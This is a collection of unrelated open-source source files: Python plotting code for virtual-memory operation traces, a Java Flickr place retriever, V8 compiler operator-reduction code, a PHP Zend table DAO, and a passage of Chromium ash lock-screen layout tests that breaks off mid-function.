# Virtual memory analysis scripts. # Developed 2012-2014 by Peter Hornyack, pjh@cs.washington.edu # Copyright (c) 2012-2014 Peter Hornyack and University of Washington from plotting.multiapp_plot_class import * from util.pjh_utils import * from plotting.plots_common import * import trace.vm_common as vm ############################################################################## # IMPORTANT: don't use any global / static variables here, otherwise # they will be shared across plots! (and bad things like double-counting # of vmas will happen). Constants are ok. class vmaops_auxdata: def __init__(self): self.opcounts = dict() self.veryfirstvma = True return def vmaops_resetfn(auxdata): auxdata.opcounts.clear() auxdata.veryfirstvma = True return def vmaops_all_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['alloc', 'free', 'resize', 'relocation', 'access_change', 'flag_change'] label_series_with_app = True combine_ops = True return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_nonallocfree_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['resize', 'relocation', 'access_change', 'flag_change'] label_series_with_app = True combine_ops = True return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_allocs_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['alloc'] label_series_with_app = True combine_ops = False return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_frees_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['free'] label_series_with_app = True combine_ops = False return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_resizes_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['resize'] label_series_with_app = True combine_ops = False return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_relocations_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['relocation'] label_series_with_app = True combine_ops = False return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_access_changes_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['access_change'] label_series_with_app = True combine_ops = False return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_flag_changes_datafn(auxdata, plot_event, tgid, currentapp): desired_ops = ['flag_change'] label_series_with_app = True combine_ops = False return vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app, combine_ops) def vmaops_datafn(auxdata, plot_event, tgid, currentapp, desired_ops, label_series_with_app=True, combine_ops=False): tag = 'vmaops_datafn' vma = plot_event.vma if vma is None: return None # Skip this vma if it's for a shared lib, guard region, etc. # Are there any other special considerations that we have to # make for ignored vmas here (like in vmacount_datafn and # vm_size_datafn)? These are the vma-op possibilities that # are tracked below: # alloc map # resize remap # relocation remap # access_change remap # flag_change remap # free unmap # If any of these operations act on a shared-lib / guard / # shared-file vma, then they will be ignored here. One # possible weirdness that I see is if a vma is first allocated # as something that's ignored (e.g. r--pf for a shared lib) and # then is access_changed to something that's not ignored, it # will appear to be an access_change without a corresponding # alloc, but I think this case occurs rarely if ever. The opposite # occurs more frequently: something that was previously counted # (e.g. rw-pf for a shared lib) is access_changed to something # that's now ignored. In this case, the access_change will # never be counted, and additionally there will be an alloc # without a corresponding free. # Ok, so this could be a little weird, and difficult to handle # here because we don't do any tracking on unmaps at all. # Just live with the weirdness I guess, or comment out the # ignore_vma code here altogether for vmaops plots, depending # on what we want to count exactly. if vm.ignore_vma(vma): debug_ignored(tag, ("ignoring vma {}").format(vma)) return None # See extensive comments in consume_vma() about how each operation # is encoded, especially frees! # Look for explicit free operations first, then ignore any unmap # operations that are part of unmap-remap pairs and count the # remap operations. if vma.is_unmapped and vma.unmap_op == 'free': op = 'free' timestamp = vma.unmap_timestamp elif not vma.is_unmapped: op = vma.vma_op timestamp = vma.timestamp elif auxdata.veryfirstvma: # Create a point with the very first timestamp, so that every # plot will start from the same time (rather than every plot # starting from the first occurrence of a desired_op). This # difference is meaningful for apps with very short execution # times (e.g. it's misleading if the "frees" plot starts from # the time of the very first free, which could only be at # the very end of the execution). # Only check this condition after checking the op conditions # above, so that we don't skip the first op if it's meaningful # for desired_ops. # This works for the very first timestamp, but we should also # do this for the very last timestamp too (which we don't # know until plotting time... crap). op = 'veryfirst' timestamp = vma.timestamp else: print_debug(tag, ("vma_op={}, is_unmapped={}, unmap_op={}" "this is an unmap for an unmap-remap " "pair, so not counting this as an op.").format(vma.vma_op, vma.is_unmapped, vma.unmap_op)) return None print_debug(tag, ("op={}, timestamp={}").format(op, timestamp)) if op not in desired_ops and op != 'veryfirst': # Don't care about this op type return None elif combine_ops: # Combine all desired ops into one series op_orig = op op = 'combined' try: count = auxdata.opcounts[op] except KeyError: if op != 'veryfirst': # usual case count = 0 else: # This is the weird case: we want to create a 0 datapoint # for the op that this plot is tracking. If this plot is # tracking more than one op type, but is not combining # them, then this gets a bit weird... but this doesn't # actually happen right now. count = -1 op = desired_ops[0] if len(desired_ops) > 1: print_warning(tag, ("very first op is not in desired_ops, " "but desired_ops has len > 1, so creating a 0 datapoint " "for just the first op {}").format(op)) count += 1 auxdata.opcounts[op] = count auxdata.veryfirstvma = False if count == 0: print_debug(tag, ("creating a 0 datapoint for op {} " "at timestamp {}").format(op, timestamp)) point = datapoint() point.timestamp = timestamp point.count = count point.appname = currentapp if label_series_with_app: # No longer label seriesname with op - just with app name, and # then use op in the title. #seriesname = "{}-{}".format(currentapp, op) seriesname = "{}".format(currentapp) else: seriesname = op if combine_ops: # don't allow, would put all ops for all apps into one series. print_error(tag, ("invalid combination of label_series " "and combine_ops")) seriesname = op_orig # Return a list of (seriesname, datapoint) tuples: return [(seriesname, point)] def vmaops_ts_plotfn(seriesdict, plotname, workingdir, title, ysplits=None): tag = 'vmaops_ts_plotfn' for appserieslist in seriesdict.values(): if False: for S in appserieslist: for dp in S.data: print_debug(tag, ("debug: datapoint: count={}, " "timestamp={}").format(dp.count, dp.timestamp)) normalize_appserieslist(appserieslist, True) if False: for S in appserieslist: for dp in S.data: print_debug(tag, ("debug: normalized: count={}, " "timestamp={}").format(dp.count, dp.timestamp)) cp_series = handle_cp_series(seriesdict) plotdict = construct_scale_ts_plotdict(seriesdict) # Set up y-axis splits: set to None to just use one plot, or pass # a list of maximum y-values and plot_time_series will split up # the series into multiple plots, each plot with a different y-axis. #ysplits = [] if ysplits is None: ysplits = [100, 1000, 10000, 100000] #title = ("VM operations over time").format() xaxis = "Execution time" yaxis = "Number of operations" return plot_time_series(plotdict, title, xaxis, yaxis, ysplits, logscale=False, cp_series=cp_series) def vmaops_all_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "All VMA operations over time") def vmaops_allocs_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA allocations over time") def vmaops_frees_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA frees over time") def vmaops_resizes_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA resizes over time", ysplits=[500, 5000]) def vmaops_relocs_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA relocations over time") def vmaops_flag_changes_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA flag changes over time") def vmaops_access_changes_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA permission changes over time") def vmaops_nonallocfree_ts_plotfn(seriesdict, plotname, workingdir): return vmaops_ts_plotfn(seriesdict, plotname, workingdir, "VMA resizes, relocations, and permission changes") ############################################################################## vmaops_all_plot = multiapp_plot('vma-ops-all', vmaops_auxdata, vmaops_all_ts_plotfn, vmaops_all_datafn, vmaops_resetfn) vmaops_allocs_plot = multiapp_plot('vma-ops-allocs', vmaops_auxdata, vmaops_allocs_ts_plotfn, vmaops_allocs_datafn, vmaops_resetfn) vmaops_frees_plot = multiapp_plot('vma-ops-frees', vmaops_auxdata, vmaops_frees_ts_plotfn, vmaops_frees_datafn, vmaops_resetfn) vmaops_resizes_plot = multiapp_plot('vma-ops-resizes', vmaops_auxdata, vmaops_resizes_ts_plotfn, vmaops_resizes_datafn, vmaops_resetfn) vmaops_relocations_plot = multiapp_plot('vma-ops-relocations', vmaops_auxdata, vmaops_relocs_ts_plotfn, vmaops_relocations_datafn, vmaops_resetfn) vmaops_access_changes_plot = multiapp_plot('vma-ops-access_changes', vmaops_auxdata, vmaops_access_changes_ts_plotfn, vmaops_access_changes_datafn, vmaops_resetfn) vmaops_flag_changes_plot = multiapp_plot('vma-ops-flag_changes', vmaops_auxdata, vmaops_flag_changes_ts_plotfn, vmaops_flag_changes_datafn, vmaops_resetfn) vmaops_nonallocfree_plot = multiapp_plot('vma-ops-nonallocfree', vmaops_auxdata, vmaops_nonallocfree_ts_plotfn, vmaops_nonallocfree_datafn, vmaops_resetfn) if __name__ == '__main__': print_error_exit("not an executable module")
pjh/vm-analyze
plotting/plot_vmaops.py
Python
bsd-3-clause
11,539
/* The BSD 3-Clause License, http://opensource.org/licenses/BSD-3-Clause Copyright (c) 2013, SINTEF Copyright (c) 2013, Odd Fredrik Rogstad, Christian Frøystad, Simon Stastny, Knut Nergård Copyright (c) 2014, Tor Barstad, Jon-Andre Brurberg, Øyvind Hellenes, Hallvard Jore Christensen, Vegard Storm, Jørgen Rugelsjøen Wikdahl All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package retrievers; import java.io.IOException; import java.text.DecimalFormat; import java.text.NumberFormat; import java.util.ArrayList; import java.util.Collection; import java.util.Locale; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.TimeUnit; import models.Place; import models.Story; import org.jsoup.Jsoup; import org.jsoup.nodes.Document; import org.jsoup.nodes.Element; import retrievers.flickr.AdditionalDataQuery; import retrievers.flickr.PhotoQueryForGroup; import services.PlaceService; import services.StedrConstants; import services.StoryService; import com.google.common.cache.Cache; import com.google.common.cache.CacheBuilder; import com.google.common.collect.Collections2; import com.google.common.collect.Lists; /** * Implementation of PlaceService using Flickr. * * @author Simon Stastny * @author Jon-Andre Brurberg * */ public class FlickrRetriever implements PlaceService { private static Cache<String, Place> placeCache = CacheBuilder.newBuilder() .expireAfterWrite(1, TimeUnit.HOURS) .maximumSize(2000) // number of items .build(); @Override public Collection<Place> getAllPlaces() { try { Collection<Place> rawPlaces = new PhotoQueryForGroup(StedrConstants.STEDR_GROUP_ID).getPlaces(); Collection<Place> places = Lists.newArrayList(); // load additional data (licenses, location) for(Place place : rawPlaces) { places.add(placeCache.get(place.id, new PlaceLoader(place))); } // filter out those what do not have compatible license places = Collections2.filter(places, new Place.HasCompatibleLicense()); // kick out places without a location places = Collections2.filter(places, new Place.HasLocation()); return places; } catch (IOException e) { e.printStackTrace(); } catch (ExecutionException e) { e.printStackTrace(); } return null; } //This should probably be declared deprecated and be reimplementated with Flickrs geolocation-search. @Override public Collection<Place> getPlacesInArea(Double latBL, Double lngBL, Double latTR, Double lngTR) { return Collections2.filter(getAllPlaces(),new Place.IsInArea(latBL, lngBL, latTR, lngTR)); } @Override public Place getPlaceInArea(Double lat, Double lon) { try { Collection<Place> rawPlaces = new PhotoQueryForGroup(StedrConstants.STEDR_GROUP_ID).getPlacesInArea(lat, lon); Collection<Place> places = Lists.newArrayList(); // load additional data (licenses, location) for(Place place : rawPlaces) { places.add(placeCache.get(place.id, new PlaceLoader(place))); } // filter out those what do not have compatible license places = Collections2.filter(places, new Place.HasCompatibleLicense()); // kick out places without a location places = Collections2.filter(places, new Place.HasLocation()); for (Place place : places) { return place; } } catch (IOException e) { e.printStackTrace(); } catch (ExecutionException e) { e.printStackTrace(); } return null; } @Override public Collection<Place> getPlacesInCollection(String collectionTag){ StoryService sS = new DigitaltFortaltRetriever(); Collection<Story> stories = sS.getStoriesForCollection(collectionTag); Collection<Place> places = new ArrayList<Place>(); NumberFormat nf = NumberFormat.getNumberInstance(Locale.US); DecimalFormat df = (DecimalFormat)nf; df.applyLocalizedPattern("00.000000"); for (Story story : stories) { places.add(getPlaceInArea(Double.valueOf(df.format(story.latitude)),Double.valueOf(df.format(story.longitude)))); } return places; } private static String loadPictureUrl(Place place, String picSize) { StringBuffer sb = new StringBuffer(); sb.append("http://www.flickr.com/photos/"); sb.append(place.owner); sb.append("/"); sb.append(place.id); sb.append("/sizes/"); sb.append(picSize); sb.append("/in/photostream/"); Document doc; try { doc = Jsoup.connect(sb.toString()).get(); Element image = doc.select("div#allsizes-photo img").get(0); return image.attr("src"); } catch (IOException e) { e.printStackTrace(); } return null; } static class PlaceLoader implements Callable<Place>{ private final Place place; public PlaceLoader(Place place) { super(); this.place = place; } @Override public Place call() throws Exception { // load license and location new AdditionalDataQuery(place).load(); // load pics only if this place is actually valid (this is a costly operation) if (place.hasCompatibleLicense() && place.hasLocation()) { place.pictureUrl = loadPictureUrl(place, "m"); place.thumbnailUrl = loadPictureUrl(place, "t"); } return place; } } }
SINTEF-SIT/stedr-server
app/retrievers/FlickrRetriever.java
Java
bsd-3-clause
6,609
// Copyright 2014 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/compiler/simplified-operator-reducer.h" #include "src/compiler/access-builder.h" #include "src/compiler/js-graph.h" #include "src/compiler/machine-operator.h" #include "src/compiler/node-matchers.h" #include "src/compiler/node-properties-inl.h" namespace v8 { namespace internal { namespace compiler { SimplifiedOperatorReducer::SimplifiedOperatorReducer(JSGraph* jsgraph) : jsgraph_(jsgraph), simplified_(jsgraph->zone()) {} SimplifiedOperatorReducer::~SimplifiedOperatorReducer() {} Reduction SimplifiedOperatorReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kAnyToBoolean: return ReduceAnyToBoolean(node); case IrOpcode::kBooleanNot: { HeapObjectMatcher<HeapObject> m(node->InputAt(0)); if (m.Is(Unique<HeapObject>::CreateImmovable(factory()->false_value()))) { return Replace(jsgraph()->TrueConstant()); } if (m.Is(Unique<HeapObject>::CreateImmovable(factory()->true_value()))) { return Replace(jsgraph()->FalseConstant()); } if (m.IsBooleanNot()) return Replace(m.node()->InputAt(0)); break; } case IrOpcode::kChangeBitToBool: { Int32Matcher m(node->InputAt(0)); if (m.Is(0)) return Replace(jsgraph()->FalseConstant()); if (m.Is(1)) return Replace(jsgraph()->TrueConstant()); if (m.IsChangeBoolToBit()) return Replace(m.node()->InputAt(0)); break; } case IrOpcode::kChangeBoolToBit: { HeapObjectMatcher<HeapObject> m(node->InputAt(0)); if (m.Is(Unique<HeapObject>::CreateImmovable(factory()->false_value()))) { return ReplaceInt32(0); } if (m.Is(Unique<HeapObject>::CreateImmovable(factory()->true_value()))) { return ReplaceInt32(1); } if (m.IsChangeBitToBool()) return Replace(m.node()->InputAt(0)); break; } case IrOpcode::kChangeFloat64ToTagged: { Float64Matcher m(node->InputAt(0)); if (m.HasValue()) return ReplaceNumber(m.Value()); break; } case IrOpcode::kChangeInt32ToTagged: { Int32Matcher m(node->InputAt(0)); if (m.HasValue()) return ReplaceNumber(m.Value()); break; } case IrOpcode::kChangeTaggedToFloat64: { NumberMatcher m(node->InputAt(0)); if (m.HasValue()) return ReplaceFloat64(m.Value()); if (m.IsChangeFloat64ToTagged()) return Replace(m.node()->InputAt(0)); if (m.IsChangeInt32ToTagged()) { return Change(node, machine()->ChangeInt32ToFloat64(), m.node()->InputAt(0)); } if (m.IsChangeUint32ToTagged()) { return Change(node, machine()->ChangeUint32ToFloat64(), m.node()->InputAt(0)); } break; } case IrOpcode::kChangeTaggedToInt32: { NumberMatcher m(node->InputAt(0)); if (m.HasValue()) return ReplaceInt32(DoubleToInt32(m.Value())); if (m.IsChangeFloat64ToTagged()) { return Change(node, machine()->ChangeFloat64ToInt32(), m.node()->InputAt(0)); } if (m.IsChangeInt32ToTagged()) return Replace(m.node()->InputAt(0)); break; } case IrOpcode::kChangeTaggedToUint32: { NumberMatcher m(node->InputAt(0)); if (m.HasValue()) return ReplaceUint32(DoubleToUint32(m.Value())); if (m.IsChangeFloat64ToTagged()) { return Change(node, machine()->ChangeFloat64ToUint32(), m.node()->InputAt(0)); } if (m.IsChangeUint32ToTagged()) return Replace(m.node()->InputAt(0)); break; } case IrOpcode::kChangeUint32ToTagged: { Uint32Matcher m(node->InputAt(0)); if (m.HasValue()) return ReplaceNumber(FastUI2D(m.Value())); break; } default: break; } return NoChange(); } Reduction SimplifiedOperatorReducer::ReduceAnyToBoolean(Node* node) { Node* const input = NodeProperties::GetValueInput(node, 0); Type* const input_type = NodeProperties::GetBounds(input).upper; if (input_type->Is(Type::Boolean())) { // AnyToBoolean(x:boolean) => x return Replace(input); } if (input_type->Is(Type::OrderedNumber())) { // AnyToBoolean(x:ordered-number) => BooleanNot(NumberEqual(x, #0)) Node* compare = graph()->NewNode(simplified()->NumberEqual(), input, jsgraph()->ZeroConstant()); return Change(node, simplified()->BooleanNot(), compare); } if (input_type->Is(Type::String())) { // AnyToBoolean(x:string) => BooleanNot(NumberEqual(x.length, #0)) FieldAccess const access = AccessBuilder::ForStringLength(); Node* length = graph()->NewNode(simplified()->LoadField(access), input, graph()->start(), graph()->start()); Node* compare = graph()->NewNode(simplified()->NumberEqual(), length, jsgraph()->ZeroConstant()); return Change(node, simplified()->BooleanNot(), compare); } return NoChange(); } Reduction SimplifiedOperatorReducer::Change(Node* node, const Operator* op, Node* a) { DCHECK_EQ(node->InputCount(), OperatorProperties::GetTotalInputCount(op)); DCHECK_LE(1, node->InputCount()); node->set_op(op); node->ReplaceInput(0, a); return Changed(node); } Reduction SimplifiedOperatorReducer::ReplaceFloat64(double value) { return Replace(jsgraph()->Float64Constant(value)); } Reduction SimplifiedOperatorReducer::ReplaceInt32(int32_t value) { return Replace(jsgraph()->Int32Constant(value)); } Reduction SimplifiedOperatorReducer::ReplaceNumber(double value) { return Replace(jsgraph()->Constant(value)); } Reduction SimplifiedOperatorReducer::ReplaceNumber(int32_t value) { return Replace(jsgraph()->Constant(value)); } Graph* SimplifiedOperatorReducer::graph() const { return jsgraph()->graph(); } Factory* SimplifiedOperatorReducer::factory() const { return jsgraph()->isolate()->factory(); } CommonOperatorBuilder* SimplifiedOperatorReducer::common() const { return jsgraph()->common(); } MachineOperatorBuilder* SimplifiedOperatorReducer::machine() const { return jsgraph()->machine(); } } // namespace compiler } // namespace internal } // namespace v8
mxOBS/deb-pkg_trusty_chromium-browser
v8/src/compiler/simplified-operator-reducer.cc
C++
bsd-3-clause
6,372
<?php namespace Application\Model\Dao; use Zend\Db\TableGateway\TableGateway; use Zend\Db\Sql\Sql; use Application\Model\Entity\TipoComponente; class TipoComponenteDao implements InterfaceCrud { protected $tableGateway; public function __construct(TableGateway $tableGateway){ $this->tableGateway = $tableGateway; } public function traerTodos(){ return $this->tableGateway->select(); } public function traer($est_id){ $est_id = (int) $est_id; $resultSet = $this->tableGateway->select(array('tip_com_id' => $est_id)); $row = $resultSet->current(); if(!$row){ throw new \Exception('No se encontro el ID del estado'); } return $row; } public function guardar(TipoComponente $tipo_componente) { $id = ( int ) $tipo_componente->getTip_com_id (); $data = array ( 'tip_com_descripcion' => $tipo_componente->getTip_com_descripcion (), 'tip_com_imagen' => $tipo_componente->getTip_com_imagen () ); $data ['tip_com_id'] = $id; if (!empty ( $id ) && !is_null ( $id )) { if ($this->traer ( $id )) { $this->tableGateway->update ( $data, array ( 'tip_com_id' => $id ) ); } else { throw new \Exception ( 'No se encontro el id para actualizar' ); } }else{ $this->tableGateway->insert ( $data ); } } public function eliminar($id) { if ($this->traer ( $id )) { return $this->tableGateway->delete ( array ( 'tip_com_id' => $id ) ); } else { throw new \Exception ( 'No se encontro el id para eliminar' ); } } }
manucv/Violations
module/Application/src/Application/Model/Dao/TipoComponenteDao.php
PHP
bsd-3-clause
1,773
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/display/display_manager.h" #include "ash/root_window_controller.h" #include "ash/screen_util.h" #include "ash/shell.h" #include "ash/shell_window_ids.h" #include "ash/test/ash_test_base.h" #include "ash/wm/window_state.h" #include "base/basictypes.h" #include "base/command_line.h" #include "ui/aura/client/aura_constants.h" #include "ui/aura/window.h" #include "ui/gfx/screen.h" #include "ui/keyboard/keyboard_controller.h" #include "ui/keyboard/keyboard_controller_proxy.h" #include "ui/keyboard/keyboard_switches.h" #include "ui/keyboard/keyboard_util.h" #include "ui/views/widget/widget.h" #include "ui/views/widget/widget_delegate.h" namespace ash { namespace test { namespace { const int kVirtualKeyboardHeight = 100; // A login implementation of WidgetDelegate. class LoginTestWidgetDelegate : public views::WidgetDelegate { public: explicit LoginTestWidgetDelegate(views::Widget* widget) : widget_(widget) { } ~LoginTestWidgetDelegate() override {} // Overridden from WidgetDelegate: void DeleteDelegate() override { delete this; } views::Widget* GetWidget() override { return widget_; } const views::Widget* GetWidget() const override { return widget_; } bool CanActivate() const override { return true; } bool ShouldAdvanceFocusToTopLevelWidget() const override { return true; } private: views::Widget* widget_; DISALLOW_COPY_AND_ASSIGN(LoginTestWidgetDelegate); }; } // namespace class LockLayoutManagerTest : public AshTestBase { public: void SetUp() override { // Allow a virtual keyboard (and initialize it per default). base::CommandLine::ForCurrentProcess()->AppendSwitch( keyboard::switches::kEnableVirtualKeyboard); AshTestBase::SetUp(); Shell::GetPrimaryRootWindowController()->ActivateKeyboard( keyboard::KeyboardController::GetInstance()); } void TearDown() override { Shell::GetPrimaryRootWindowController()->DeactivateKeyboard( keyboard::KeyboardController::GetInstance()); AshTestBase::TearDown(); } aura::Window* CreateTestLoginWindow(views::Widget::InitParams params, bool use_delegate) { aura::Window* parent = Shell::GetPrimaryRootWindowController()-> GetContainer(ash::kShellWindowId_LockScreenContainer); params.parent = parent; views::Widget* widget = new views::Widget; if (use_delegate) params.delegate = new LoginTestWidgetDelegate(widget); widget->Init(params); widget->Show(); aura::Window* window = widget->GetNativeView(); return window; } // Show or hide the keyboard. void ShowKeyboard(bool show) { keyboard::KeyboardController* keyboard = keyboard::KeyboardController::GetInstance(); ASSERT_TRUE(keyboard); if (show == keyboard->keyboard_visible()) return; if (show) { keyboard->ShowKeyboard(true); if (keyboard->proxy()->GetKeyboardWindow()->bounds().height() == 0) { keyboard->proxy()->GetKeyboardWindow()->SetBounds( keyboard::FullWidthKeyboardBoundsFromRootBounds( Shell::GetPrimaryRootWindow()->bounds(), kVirtualKeyboardHeight)); } } else { keyboard->HideKeyboard(keyboard::KeyboardController::HIDE_REASON_MANUAL); } DCHECK_EQ(show, keyboard->keyboard_visible()); } }; TEST_F(LockLayoutManagerTest, NorwmalWindowBoundsArePreserved) { gfx::Rect screen_bounds = Shell::GetScreen()->GetPrimaryDisplay().bounds(); views::Widget::InitParams widget_params( views::Widget::InitParams::TYPE_WINDOW); const gfx::Rect bounds = gfx::Rect(10, 10, 300, 300); widget_params.bounds = bounds; scoped_ptr<aura::Window> window( CreateTestLoginWindow(widget_params, false /* use_delegate */)); EXPECT_EQ(bounds.ToString(), window->GetBoundsInScreen().ToString()); gfx::Rect work_area = ScreenUtil::GetDisplayWorkAreaBoundsInParent(window.get()); window->SetBounds(work_area); EXPECT_EQ(work_area.ToString(), window->GetBoundsInScreen().ToString()); EXPECT_NE(screen_bounds.ToString(), window->GetBoundsInScreen().ToString()); const gfx::Rect bounds2 = gfx::Rect(100, 100, 200, 200); window->SetBounds(bounds2); EXPECT_EQ(bounds2.ToString(), window->GetBoundsInScreen().ToString()); } TEST_F(LockLayoutManagerTest, MaximizedFullscreenWindowBoundsAreEqualToScreen) { gfx::Rect screen_bounds = Shell::GetScreen()->GetPrimaryDisplay().bounds(); views::Widget::InitParams widget_params( views::Widget::InitParams::TYPE_WINDOW_FRAMELESS); widget_params.show_state = ui::SHOW_STATE_MAXIMIZED; const gfx::Rect bounds = gfx::Rect(10, 10, 300, 300); widget_params.bounds = bounds; // Maximized TYPE_WINDOW_FRAMELESS windows needs a delegate defined otherwise // it won't get initial SetBounds event. scoped_ptr<aura::Window> maximized_window( CreateTestLoginWindow(widget_params, true /* use_delegate */)); widget_params.show_state = ui::SHOW_STATE_FULLSCREEN; widget_params.delegate = NULL; scoped_ptr<aura::Window> fullscreen_window( CreateTestLoginWindow(widget_params, false /* use_delegate */)); EXPECT_EQ(screen_bounds.ToString(), maximized_window->GetBoundsInScreen().ToString()); EXPECT_EQ(screen_bounds.ToString(), fullscreen_window->GetBoundsInScreen().ToString()); gfx::Rect work_area = ScreenUtil::GetDisplayWorkAreaBoundsInParent(maximized_window.get()); maximized_window->SetBounds(work_area); EXPECT_NE(work_area.ToString(), maximized_window->GetBoundsInScreen().ToString()); EXPECT_EQ(screen_bounds.ToString(), maximized_window->GetBoundsInScreen().ToString()); work_area = ScreenUtil::GetDisplayWorkAreaBoundsInParent(fullscreen_window.get()); fullscreen_window->SetBounds(work_area); EXPECT_NE(work_area.ToString(), fullscreen_window->GetBoundsInScreen().ToString()); EXPECT_EQ(screen_bounds.ToString(), fullscreen_window->GetBoundsInScreen().ToString()); const gfx::Rect bounds2 = gfx::Rect(100, 100, 200, 200); maximized_window->SetBounds(bounds2); fullscreen_window->SetBounds(bounds2); EXPECT_EQ(screen_bounds.ToString(), maximized_window->GetBoundsInScreen().ToString()); EXPECT_EQ(screen_bounds.ToString(), fullscreen_window->GetBoundsInScreen().ToString()); } TEST_F(LockLayoutManagerTest, KeyboardBounds) { gfx::Display primary_display = Shell::GetScreen()->GetPrimaryDisplay(); gfx::Rect screen_bounds = primary_display.bounds(); views::Widget::InitParams widget_params( views::Widget::InitParams::TYPE_WINDOW_FRAMELESS); widget_params.show_state = ui::SHOW_STATE_FULLSCREEN; scoped_ptr<aura::Window> window( CreateTestLoginWindow(widget_params, false /* use_delegate */)); EXPECT_EQ(screen_bounds.ToString(), window->GetBoundsInScreen().ToString()); // When virtual keyboard overscroll is enabled keyboard bounds should not // affect window bounds. keyboard::SetKeyboardOverscrollOverride( keyboard::KEYBOARD_OVERSCROLL_OVERRIDE_ENABLED); ShowKeyboard(true); EXPECT_EQ(screen_bounds.ToString(), window->GetBoundsInScreen().ToString()); gfx::Rect keyboard_bounds = keyboard::KeyboardController::GetInstance()->current_keyboard_bounds(); EXPECT_NE(keyboard_bounds, gfx::Rect()); ShowKeyboard(false); // When keyboard is hidden make sure that rotating the screen gives 100% of // screen size to window. // Repro steps for http://crbug.com/401667: // 1. Set up login screen defaults: VK override disabled // 2. Show/hide keyboard, make sure that no stale keyboard bounds are cached. keyboard::SetKeyboardOverscrollOverride( keyboard::KEYBOARD_OVERSCROLL_OVERRIDE_DISABLED); ShowKeyboard(true); ShowKeyboard(false); ash::DisplayManager* display_manager = Shell::GetInstance()->display_manager(); display_manager->SetDisplayRotation(primary_display.id(), gfx::Display::ROTATE_90); primary_display = Shell::GetScreen()->GetPrimaryDisplay(); screen_bounds = primary_display.bounds(); EXPECT_EQ(screen_bounds.ToString(), window->GetBoundsInScreen().ToString()); display_manager->SetDisplayRotation(primary_display.id(), gfx::Display::ROTATE_0); // When virtual keyboard overscroll is disabled keyboard bounds do // affect window bounds. keyboard::SetKeyboardOverscrollOverride( keyboard::KEYBOARD_OVERSCROLL_OVERRIDE_DISABLED); ShowKeyboard(true); keyboard::KeyboardController* keyboard = keyboard::KeyboardController::GetInstance(); primary_display = Shell::GetScreen()->GetPrimaryDisplay(); screen_bounds = primary_display.bounds(); gfx::Rect target_bounds(screen_bounds); target_bounds.set_height(target_bounds.height() - keyboard->proxy()->GetKeyboardWindow()->bounds().height()); EXPECT_EQ(target_bounds.ToString(), window->GetBoundsInScreen().ToString()); ShowKeyboard(false); keyboard::SetKeyboardOverscrollOverride( keyboard::KEYBOARD_OVERSCROLL_OVERRIDE_NONE); } TEST_F(LockLayoutManagerTest, MultipleMonitors) { if (!SupportsMultipleDisplays()) return; UpdateDisplay("300x400,400x500"); gfx::Rect screen_bounds = Shell::GetScreen()->GetPrimaryDisplay().bounds(); aura::Window::Windows root_windows = Shell::GetAllRootWindows(); views::Widget::InitParams widget_params( views::Widget::InitParams::TYPE_WINDOW_FRAMELESS); widget_params.show_state = ui::SHOW_STATE_FULLSCREEN; 